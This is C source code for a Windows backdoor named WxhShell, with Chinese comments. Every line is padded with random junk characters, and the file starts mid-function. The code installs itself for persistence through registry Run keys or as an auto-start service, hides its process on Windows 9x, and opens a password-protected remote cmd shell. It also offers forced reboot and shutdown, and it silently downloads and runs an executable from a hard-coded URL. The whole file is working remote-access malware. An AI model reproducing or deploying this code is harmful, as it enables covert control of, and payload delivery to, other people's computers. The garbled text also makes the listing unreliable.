    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \y97W&AN  
    if(Boot(SHUTDOWN)) s^Y"'`+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :ci5r;^  
    else { <c2E'U)X  
    closesocket(wsh); *Fy2BZH%Q  
    ExitThread(0); Fq0i`~L~  
    } e|)hG8FlF  
    break; 7I&&bWB  
    } ;Y 00TGU  
  // 获取shell sd*p/Q|4  
  case 's': { }JF13beU  
    CmdShell(wsh); MLXNZd   
    closesocket(wsh); /a{la8Ni  
    ExitThread(0); c23oCfB>  
    break; j_K4;k#r  
  } qB5j;@ r  
  // 退出 IdzxS  
  case 'x': { j]{_s"O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nr95YSH  
    CloseIt(wsh); Vx$\hcG  
    break; ASKf '\,dV  
    } ,vr? 2k  
  // 离开 I@T8Iv=  
  case 'q': { t)~"4]{*}D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lf16j*}-Q  
    closesocket(wsh); Z/W:97M  
    WSACleanup(); = I:.X ;  
    exit(1); W<bGDh  
    break; QX!-B  
        } UbXh,QEG*  
  } Dt}JG6S  
  } =b%MXT  
Yrb{ByO&  
  // 提示信息 '9laa=H%8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2y//'3[  
} m}C>ti`VD  
  } (SWYOMo"  
q3mJ782p]  
  return; X.OD`.!>  
} lNz7u:U3  
b+%f+zz*h  
// shell模块句柄 |9uOUE  
int CmdShell(SOCKET sock) G/k2Pe{SL  
{ <lgYcdJ   
STARTUPINFO si; ^|/TC!v]M  
ZeroMemory(&si,sizeof(si)); UvJ}b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I& 2c&yO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;!=G   
PROCESS_INFORMATION ProcessInfo; hW%TM3l}  
char cmdline[]="cmd"; )mg:_K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "7 4-4  
  return 0; @D.}\(  
} Sxnpq Vbk  
)SaGH3~*C  
// 自身启动模式 p ?*Q- f  
int StartFromService(void) - \ 5v^l  
{ ?8I?'\F;  
typedef struct o\[~.";Z  
{ ?~l6K(*2  
  DWORD ExitStatus; GOj-)i/_  
  DWORD PebBaseAddress; ; ^*}#X d  
  DWORD AffinityMask; u#Pa7_zBj]  
  DWORD BasePriority; !F*5M1Kjd  
  ULONG UniqueProcessId; ?5+.`L9H  
  ULONG InheritedFromUniqueProcessId; "fQ~uzg="  
}   PROCESS_BASIC_INFORMATION; ({ 8-*  
%<)2/|lCd  
PROCNTQSIP NtQueryInformationProcess; 3r<~Q7e  
JUsQ,ETn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $I!XSz"/e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rxVanDb=W  
Hn7_FOC  
  HANDLE             hProcess; ?L5zC+c!  
  PROCESS_BASIC_INFORMATION pbi; dV*]f$wQ  
)#EGTRdo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bgn&:T8<  
  if(NULL == hInst ) return 0; z#8~iF1  
F<ZYh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zbXI%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0QB iC]9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h(<,fg1  
v V'EZ ?  
  if (!NtQueryInformationProcess) return 0;  H_B4  
~De"?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bz_^~b7  
  if(!hProcess) return 0; q YC;cKv  
#=D) j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n#/_Nz  
a_[Eh fE  
  CloseHandle(hProcess); Yw22z #K  
4ae`pAu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,oORW/0iS  
if(hProcess==NULL) return 0; !!qK=V|>  
 jPC[_g  
HMODULE hMod; H;D>|q  
char procName[255]; b IH;  
unsigned long cbNeeded; ~< P 0]ju  
;5wn67'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f"B3,6m  
w4_ U0 n3  
  CloseHandle(hProcess); O1rvaOlr  
=Ee&da^MB  
if(strstr(procName,"services")) return 1; // 以服务启动 +y,T4^{  
E_gD:PPU5  
  return 0; // 注册表启动 D_?K"E=fw  
} pny11C  
"C?#SO B  
// 主模块 !*/*8re  
int StartWxhshell(LPSTR lpCmdLine) }Dp*}=?E  
{ _G_Cj{w  
  SOCKET wsl; rJd,Rdt.  
BOOL val=TRUE; xpNH?#&  
  int port=0; h~A/y!s  
  struct sockaddr_in door; B6=ebM`q  
OBgkpx*Q  
  if(wscfg.ws_autoins) Install(); \/E>4)MDy  
MtM%{=&_  
port=atoi(lpCmdLine); v.\*./-i  
ke{8 ^X~#  
if(port<=0) port=wscfg.ws_port; ZjT,pOSyb  
OHv[#xGuV?  
  WSADATA data; `{4i)n%e&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "B8Q:  
s|@6S8E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   909?_ v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OL5v).Bb  
  door.sin_family = AF_INET; PEN \-*Pv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o-;E>N7t  
  door.sin_port = htons(port); p$SX  
m%rd0=}57  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =Xm@YVf&ZD  
closesocket(wsl); liEPCWl&  
return 1; #XK2Ien)Z  
} <CRP ^_c  
mCRt8 rY;  
  if(listen(wsl,2) == INVALID_SOCKET) { yh^!'!I6u[  
closesocket(wsl); dCb`xR}  
return 1; TP VVck-T8  
} -\+s#kE:  
  Wxhshell(wsl); H /,gro  
  WSACleanup(); |\w=u6jX  
rMXN[,|v  
return 0; %lL.[8r|  
ko1J094Y%  
} ~7Y+2FZ  
?:Mr=]sD  
// 以NT服务方式启动 I6~pV@h^=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z25lZI" X`  
{ QFfK0X8cC  
DWORD   status = 0; hZ[E7=NTQ^  
  DWORD   specificError = 0xfffffff; Z,`iO %W  
'AzDP;6qFI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K )[]fm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f6|KN+.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |]QqXE-7  
  serviceStatus.dwWin32ExitCode     = 0; ktI/3Mb@  
  serviceStatus.dwServiceSpecificExitCode = 0; a5 *2h{i  
  serviceStatus.dwCheckPoint       = 0; o5xAav"+>  
  serviceStatus.dwWaitHint       = 0; jATI&oX  
iM2W]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .e3NnOzyxS  
  if (hServiceStatusHandle==0) return; Hip&8NW  
t'9*R7=  
status = GetLastError(); *Kyw^DI  
  if (status!=NO_ERROR) C?ulj9=Z  
{ {zQS$VhXr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '[J<=2&  
    serviceStatus.dwCheckPoint       = 0; ##KBifU"  
    serviceStatus.dwWaitHint       = 0; KiRUvWqa  
    serviceStatus.dwWin32ExitCode     = status; (Lo%9HZ1Mx  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5?p2%KQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AGH|"EWG  
    return; qs|mj}?  
  } rX*H)3F  
"nm FzN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?!wgH9?8  
  serviceStatus.dwCheckPoint       = 0; Y^36>1.:  
  serviceStatus.dwWaitHint       = 0; 79nG|Yj|\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xAafm<L@!  
} Wf>zDW^"R  
JBZUv  
// 处理NT服务事件,比如:启动、停止 (*1v\Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~CVe yk< (  
{ \2nUa ;  
switch(fdwControl) F&])P- !3  
{ ii%+jdi.  
case SERVICE_CONTROL_STOP: GQ*wc?f3  
  serviceStatus.dwWin32ExitCode = 0; [(o7$i29|%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :1 (p.q=  
  serviceStatus.dwCheckPoint   = 0; YWMGB#=  
  serviceStatus.dwWaitHint     = 0; a UxGzMZ  
  { 1J6,]M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FvN<<&B  
  } :,WtR  
  return; mK[)mC _8  
case SERVICE_CONTROL_PAUSE: 994` ua+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uMut=ja(U  
  break; 4VHqBQ4  
case SERVICE_CONTROL_CONTINUE: 3k|oK'l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +zu(  
  break; ]BtbWKJBqe  
case SERVICE_CONTROL_INTERROGATE: k4,BNJt'Z  
  break; ? 9! Z<H  
}; 7a#4tqM#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }K1JU`Lz  
} Ob}?zl@  
4%2~Wi8  
// 标准应用程序主函数 _2k]3z?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z^_*&  
{ 5~Cakd ]>  
9Q(+ZG=JkV  
// 获取操作系统版本 MS>t_C(  
OsIsNt=GetOsVer(); a^Tm u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CqHK%M  
lrWV#`6!+  
  // 从命令行安装 !Gu%U$d  
  if(strpbrk(lpCmdLine,"iI")) Install(); zrR`ecC(b  
?q(\=;Y  
  // 下载执行文件 rEHkw '  
if(wscfg.ws_downexe) { NB\{'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CNQC^d\ h  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2H/Z_+\  
} B;R.#^@/  
"]oO{'1X  
if(!OsIsNt) { 6el;Erp  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?pYKZg /c  
HideProc(); ymegr(9&K  
StartWxhshell(lpCmdLine); AS E91T~  
} {o!KhF:[  
else hX`hs- *qM  
  if(StartFromService()) 3uZJ.Fb  
  // 以服务方式启动 u5 {JQO  
  StartServiceCtrlDispatcher(DispatchTable); |} {B1A  
else B=>RH!&  
  // 普通方式启动 7SlsnhpW  
  StartWxhshell(lpCmdLine); d0aCY  
#VB')^d<U  
return 0; '"<6.,Ae  
} ndjx|s)E  
QCH}-q)  
<&&SX;  
}tH[[4tw,  
=========================================== ZDD..j  
 )LJnLo+  
-zp0S*iP7  
B3H|+  
A a= u+  
L7= Q<D<  
" |\n@3cIK  
-6tgsfEr  
#include <stdio.h> &ISb~5  
#include <string.h> N[<H7_/3  
#include <windows.h> 7]x3!AlV  
#include <winsock2.h> i `s|,"0o  
#include <winsvc.h> qw7@(R'"  
#include <urlmon.h> +$$$  
yC3yij<oR  
#pragma comment (lib, "Ws2_32.lib") L lw&& K  
#pragma comment (lib, "urlmon.lib") lqowG!3H  
/0W9g  
#define MAX_USER   100 // 最大客户端连接数 JOb*-q|y  
#define BUF_SOCK   200 // sock buffer R*oXmuOsYA  
#define KEY_BUFF   255 // 输入 buffer 26dUA~|KJ  
cooUE<a  
#define REBOOT     0   // 重启 s0*0 'f  
#define SHUTDOWN   1   // 关机 KjFK/Og.  
kaxvP v1  
#define DEF_PORT   5000 // 监听端口 '8 fk+>M  
DNR~_3Aq  
#define REG_LEN     16   // 注册表键长度 ik"sq}u_]E  
#define SVC_LEN     80   // NT服务名长度  ],ZzI  
kM'"4[,nz  
// 从dll定义API UWZa|I~:J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <W`#gn0b6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OdQT2PA_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d\H&dkpH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :-iMdtm  
%*o8L6Hn  
// wxhshell配置信息 KJ?y@Q  
struct WSCFG { Io|X#\K  
  int ws_port;         // 监听端口 5jgdbHog]  
  char ws_passstr[REG_LEN]; // 口令 Q|,B*b  
  int ws_autoins;       // 安装标记, 1=yes 0=no 65oWD-  
  char ws_regname[REG_LEN]; // 注册表键名 ]Ni;w]KE  
  char ws_svcname[REG_LEN]; // 服务名 ~ ^>417>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *d(SI<j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ( =16PYs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -UZ@G~K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "c(Sysl.L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TgTnqR@/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aZet0?Qr  
{/ LZcz[  
}; x lsqj`=  
fa&-. *  
// default Wxhshell configuration ~1*A  
struct WSCFG wscfg={DEF_PORT, yoRU_%xA  
    "xuhuanlingzhe", tp:\j@dB  
    1, =H %-.m'f2  
    "Wxhshell", PSRzrv$l  
    "Wxhshell", .c^ ggy%  
            "WxhShell Service", 2/36dGFH  
    "Wrsky Windows CmdShell Service", E RdL^T>  
    "Please Input Your Password: ", e,k2vp!<&  
  1, <e)o1+[w  
  "http://www.wrsky.com/wxhshell.exe", K9[e>  
  "Wxhshell.exe" 6*nAo8gl  
    }; 16X@^j_   
cBYfXI0`  
// 消息定义模块 G\/"}B:(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fl{WAg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D -IR!js ]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pilh@#_h  
char *msg_ws_ext="\n\rExit."; =s}Xy_+:  
char *msg_ws_end="\n\rQuit."; xU S]P)R  
char *msg_ws_boot="\n\rReboot..."; pi5GxDA]  
char *msg_ws_poff="\n\rShutdown..."; \OC6M` /  
char *msg_ws_down="\n\rSave to "; J4 tcQ  
#hL*r bpT  
char *msg_ws_err="\n\rErr!"; +'#oz+  
char *msg_ws_ok="\n\rOK!"; Nt:8ogk/  
~u&|G$1!0  
char ExeFile[MAX_PATH]; \aP6_g:N}  
int nUser = 0; ciMM^ZRIb  
HANDLE handles[MAX_USER]; ;pJ2V2 g8  
int OsIsNt; !umEyd@ "  
td{O}\s7D  
SERVICE_STATUS       serviceStatus; .5> 20\b2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wU`!B<,j  
`nJu?5  
// 函数声明 /^#G0f*N  
int Install(void); :XV} c(+d  
int Uninstall(void); ( 0Naf  
int DownloadFile(char *sURL, SOCKET wsh); =l942p  
int Boot(int flag); c 5`US  
void HideProc(void);  m@rSz  
int GetOsVer(void); .G>t72DpU  
int Wxhshell(SOCKET wsl); kw,$NK'  
void TalkWithClient(void *cs); Y7U&Q:5'  
int CmdShell(SOCKET sock); uXQ >WI@eF  
int StartFromService(void); -DO&_`kn  
int StartWxhshell(LPSTR lpCmdLine); !q4x~G0d  
XidxNPz0^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F6S~$<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +&ZX$  
C:\(~D *GS  
// 数据结构和表定义 Omag)U)IPh  
SERVICE_TABLE_ENTRY DispatchTable[] = Nm]% }  
{ Di=9mHC  
{wscfg.ws_svcname, NTServiceMain}, _qWC4NMF(  
{NULL, NULL} }Ia 0"J4  
}; N<JHjq  
UP2.]B!d  
// 自我安装 VY'Q|[  
int Install(void) Xt,X_o2m|]  
{ )QY![&k}1z  
  char svExeFile[MAX_PATH]; =qoRS0Qa  
  HKEY key; S7n"3.k  
  strcpy(svExeFile,ExeFile); 8*!|8 BPj^  
X QbNH~  
// 如果是win9x系统,修改注册表设为自启动 o;`!kIQ  
if(!OsIsNt) { 0jB X5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }qC SS<a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b;9n'UX\  
  RegCloseKey(key); i (HByI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fk5XvL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hSqMaX%G  
  RegCloseKey(key); P#G.lft"O  
  return 0; "S(X[Y'  
    } 3;$bS<>  
  } r(uP!n1+  
} -S; &Q'Mt  
else { 6 ,N6jaW  
^Gz{6@TY5  
// 如果是NT以上系统,安装为系统服务 )teFS %  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \3{3ly~L  
if (schSCManager!=0) pZ+j[!  
{ izt^Wi|  
  SC_HANDLE schService = CreateService PM~*|(fA  
  ( Etmo7 8e  
  schSCManager, gOE_ ]  
  wscfg.ws_svcname, mf4z?G@6  
  wscfg.ws_svcdisp, mf*Nr0L;J  
  SERVICE_ALL_ACCESS, *Wyl2op6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^o%_W0_r  
  SERVICE_AUTO_START, (zah890//  
  SERVICE_ERROR_NORMAL, 4DML  
  svExeFile, ."JzDs   
  NULL, l]vohLz 3!  
  NULL, e`DsP8-&v  
  NULL, N+>'J23d!  
  NULL, -h\@RC  
  NULL S|2VP8xY9  
  ); \j:gr>4  
  if (schService!=0) I #l;~a<9z  
  { &,uC9$  
  CloseServiceHandle(schService); _O 52ai><b  
  CloseServiceHandle(schSCManager); b:x7)$(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mq`5w)S)\o  
  strcat(svExeFile,wscfg.ws_svcname); :c;_a-69  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A c:\c7M;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u[`v&e  
  RegCloseKey(key); my[,w$YM  
  return 0; `Yogq)G}  
    } y''0PSfb#  
  } 7x+=7,BZd  
  CloseServiceHandle(schSCManager); U+!UL5k  
} %<S7  
} C5B=NAc  
`V~LV<v5  
return 1; ~j}J<4&OvC  
} Gmgeve  
oQBiPN+v.3  
// 自我卸载 !d|8'^gc  
int Uninstall(void) 9L=;KtE1  
{ =|# w.(3y  
  HKEY key; W%zmD Hk~  
77_g}N  
if(!OsIsNt) { \6c8z/O7   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ![q }BU4  
  RegDeleteValue(key,wscfg.ws_regname); ;Bnr=' [  
  RegCloseKey(key); F(G<* lA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 49y *xMn  
  RegDeleteValue(key,wscfg.ws_regname); Bb_}YU2#  
  RegCloseKey(key); RR'(9QJ$  
  return 0; )T<D6l Lt  
  } iiehrK&T !  
} !SN WB  
} ^OjvL6 A/p  
else { |%3O) B  
m\} =4b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dWIZ37w+D  
if (schSCManager!=0) 7Ff?Ysr  
{ Z3I L8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /\TlO.B=  
  if (schService!=0) lSs^A@s  
  { \ j x0ZHR  
  if(DeleteService(schService)!=0) { q'fPNQg  
  CloseServiceHandle(schService); )j(fWshP  
  CloseServiceHandle(schSCManager); I4CHfs"ar  
  return 0; sk\_[p  
  } cC' ^T6  
  CloseServiceHandle(schService); Flne=ij6g  
  } ->Q`'@'|P  
  CloseServiceHandle(schSCManager); "sSjVu  
} 0~:e SWz=  
} A@\qoS[  
GW:\l~ d  
return 1; D'85VZEFyo  
} 3[iSF5%V*p  
 }Olr  
// 从指定url下载文件 ZtKQ]jV&@  
int DownloadFile(char *sURL, SOCKET wsh) &l?N:(r  
{ mC% %)F'Zf  
  HRESULT hr; i)GeX:  
char seps[]= "/"; p5D5%B/  
char *token; 4*YOFU}l  
char *file; k>$FT `  
char myURL[MAX_PATH]; J]$er0`LY  
char myFILE[MAX_PATH]; ?L8&(&1@VD  
$:PF9pY(  
strcpy(myURL,sURL); %f>X-*}NI-  
  token=strtok(myURL,seps); /kAwe *)  
  while(token!=NULL) A-X  
  { o- cj&Cv%  
    file=token; V> 1D1  
  token=strtok(NULL,seps); 0I(uddG3  
  } -??!@R7V  
V^9$t/c &  
GetCurrentDirectory(MAX_PATH,myFILE); 'E@2I9Kj  
strcat(myFILE, "\\"); C,9)V5!tP2  
strcat(myFILE, file); :~WPY9i`  
  send(wsh,myFILE,strlen(myFILE),0); J2)-cY5G  
send(wsh,"...",3,0); YG-Z.{d5Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uDpf2(>s  
  if(hr==S_OK) rsd2v9  
return 0; FGV}5L  
else rSM$E  
return 1; :5$xh  
N)9pz?*V  
} J(3gT }z-  
NvEm,E\|  
// 系统电源模块 16a_GwfM  
int Boot(int flag) .vCY%0oE  
{ eL]{#WL  
  HANDLE hToken; i5ajM,i/K  
  TOKEN_PRIVILEGES tkp; Ufm(2`FQ  
7KvXTrN!9  
  if(OsIsNt) { ?Ry%c6(}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <K=@-4/Bp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6ctHL<^  
    tkp.PrivilegeCount = 1; ~E^yM=:h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <`oCz Q1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8o*\W$K@  
if(flag==REBOOT) { L?Kz P.(t+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T#MA#H2  
  return 0; ]+^;vc 1r  
} ;zfQ3$@9  
else { fW_}!`:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A^}i^  
  return 0; v9j4|w  
} Z;|0"K  
  } cq'}2pob  
  else { GnSgO-$"  
if(flag==REBOOT) { bLU^1S8Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lWu9/r 1  
  return 0; hLDch5J5~  
} PfwI@%2  
else { o(Ua",|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~!a~C~_  
  return 0; rW=k%# p  
} \Owful  
} C8bGae(  
::3iXk)  
return 1; h"RP>fZt  
} .IW_DM-  
kT Z?+hx  
// win9x进程隐藏模块 N$=(1`zM=  
void HideProc(void) d- Z+fz  
{ t%]^5<+X58  
I =tyQ`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); % K9; qJ5  
  if ( hKernel != NULL ) 7/p J6>  
  { 0Y38 T)k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QK``tWLIg7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /ZIJ<#o[  
    FreeLibrary(hKernel); .N zW@|  
  } okK/i  
!]{1h  
return; YJ$Vn >6Z  
} t?du+:  
E1U4v&P  
// 获取操作系统版本 Tdk2436=  
int GetOsVer(void) !i~x"1  
{ >m2<Nl}  
  OSVERSIONINFO winfo; ^LEmi1L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]RJb;  
  GetVersionEx(&winfo); oPBg+Bh*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dIBKE0`  
  return 1; azR;*j8Q'  
  else Y^94iOk%T  
  return 0; |%2/I>o  
} epG X.  
aUIc=Z  
// 客户端句柄模块 nyl8=F:V  
int Wxhshell(SOCKET wsl) [6&CloY3  
{  xnRp/I  
  SOCKET wsh; AihL>a%  
  struct sockaddr_in client; O#Zs3k  
  DWORD myID; YP$*;l  
/]MB6E7&  
  while(nUser<MAX_USER) [U3D`V$xD  
{ 8XH|T^5  
  int nSize=sizeof(client); H.l,%x&K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D_ Bx>G9  
  if(wsh==INVALID_SOCKET) return 1; Jm);|#y  
w ~L\Ebg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C\a:eSgaC  
if(handles[nUser]==0) ulPrb>i  
  closesocket(wsh); \:q e3Q  
else <<W.x)#:  
  nUser++; syC"eH3{  
  } 8[`^(O#\E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ip7FD9 ^  
O{i_?V_  
  return 0; 'wB Huq  
} $cJN9|$6  
/n(bThDH  
// 关闭 socket m`yn9(1Y[  
void CloseIt(SOCKET wsh) +2au ;^N  
{ C)KtM YA,  
closesocket(wsh); +/b4@B7  
nUser--; LL$,<q%(P  
ExitThread(0);  wc+N  
} ,@'){V  
!6tC[W`  
// 客户端请求句柄 n?P 5pJ  
void TalkWithClient(void *cs) OJ_2z|f<  
{ FbCZV3Y  
yd2qf  
  SOCKET wsh=(SOCKET)cs; d*\C^:Z  
  char pwd[SVC_LEN]; evmEX<N  
  char cmd[KEY_BUFF]; Lx:N!RDw  
char chr[1]; q5\LdI2  
int i,j; B[0,\>  
,m?UFRi  
  while (nUser < MAX_USER) { q*y9/HnI  
Tm:#"h\F  
if(wscfg.ws_passstr) { ,^+R%7mv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l-^XW?CfL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3@cJ=   
  //ZeroMemory(pwd,KEY_BUFF); R&=GB\`:a  
      i=0; J_wz'eIb0  
  while(i<SVC_LEN) { @6!y(e8"J]  
DCt:EhC  
  // 设置超时 u$%#5_k  
  fd_set FdRead; ^9*|_\3N  
  struct timeval TimeOut; ;~@PYIp  
  FD_ZERO(&FdRead); +|"n4iZ!)  
  FD_SET(wsh,&FdRead); ;`of'9|  
  TimeOut.tv_sec=8; GY$?^&OO>  
  TimeOut.tv_usec=0; V+a%,sI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'Rh>w=wB'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /XW0`FF  
ZesD(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *ckrn>E{h  
  pwd=chr[0]; {O&liU4  
  if(chr[0]==0xd || chr[0]==0xa) { e>zk3\D!  
  pwd=0; x&fCe{5  
  break; (&]15 FJ$1  
  } 8rG&CxI  
  i++; ~Yz/t  
    } wIR[2&b  
O+o%C*`K  
  // 如果是非法用户,关闭 socket 5B.??;xtaV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sV'.Bomq  
} mV(x&`Cx  
] xLb )Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PKM$*_LcGI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ 6o:v8&3  
+e]b,9.sR  
while(1) { L{0OMyUA  
z3jz pmz  
  ZeroMemory(cmd,KEY_BUFF); muX4Y1M_  
x5 ~E'~_  
      // 自动支持客户端 telnet标准   !g&B)0u]*  
  j=0; DF[b?  
  while(j<KEY_BUFF) { U}wq~fD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YTPmS\ H _  
  cmd[j]=chr[0]; &CmkNm_B  
  if(chr[0]==0xa || chr[0]==0xd) { gcCYXPZp  
  cmd[j]=0; 5GFnfc}  
  break; 75}u D  
  } ?.A/E?Oc  
  j++; z57papo  
    } 'sQO0611S  
QRHm |f9_C  
  // 下载文件 1&pP}v ?  
  if(strstr(cmd,"http://")) { T\s#-f[x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dVt@D&  
  if(DownloadFile(cmd,wsh)) UO!6&k>c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @?=)}2=|?i  
  else pbvEIa-Y4  
